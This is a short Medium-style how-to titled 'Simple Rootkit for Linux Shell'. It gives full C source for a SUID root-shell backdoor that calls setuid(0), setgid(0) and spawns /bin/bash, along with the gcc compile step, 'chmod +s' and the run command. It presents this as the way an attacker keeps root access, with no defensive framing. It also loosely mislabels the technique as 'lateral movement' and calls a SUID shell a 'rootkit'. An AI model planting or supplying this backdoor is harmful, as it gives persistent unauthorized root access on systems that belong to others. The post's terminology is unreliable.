Simple Rootkit for Linux Shell
Usually the Attacker will install a Rootkit because it is one of the ways for Lateral Movement to keep the highest access rights like superuser or root.
Get November Rain’s stories in your inbox
Join Medium for free to get updates from this writer.
Here is using a simple program made with C language.
Build
Make a file rootkit.c.
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main()
{
setuid(0);
setgid(0);
system("/bin/bash");
return 0;
}Compile rootkit.c.
gcc rootkit.c -o rootkitGive SUID permission for compiled rootkit.
chmod +s rootkitCall the Rootkit
./rootkitDone!







